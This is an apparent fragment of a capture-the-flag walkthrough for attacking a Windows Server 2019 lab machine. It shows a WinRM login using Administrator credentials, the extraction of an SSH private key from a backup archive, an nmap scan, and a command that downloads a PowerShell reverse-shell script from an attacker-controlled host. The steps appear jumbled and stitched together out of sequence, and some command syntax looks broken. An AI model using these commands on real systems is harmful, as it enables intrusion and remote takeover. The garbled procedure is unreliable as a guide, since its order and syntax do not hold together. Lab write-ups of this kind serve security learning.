winrm -remote:localhost -user:Administrator -password: P@ssw0rd! However, we still encounter issues. Let's try to use PowerShell to execute a command:
get backup.zip exit unzip backup.zip The unzip process reveals a file called id_rsa and a folder called .ssh . The id_rsa file is a private key that we can use for SSH authentication.
Invoke-WebRequest -Uri http://10.10.16.38:8080/Invoke-PowerShellTcpip.ps1 -OutFile Invoke-PowerShellTcpip.ps1 Then:
nmap -sV -p- 10.10.11.193 The scan reveals that the machine is running Windows Server 2019 and has several open ports, including RDP (3389), SMB (445), and HTTP (80).
To gain elevated privileges, we can use the winrm tool to access the machine using the Administrator's credentials: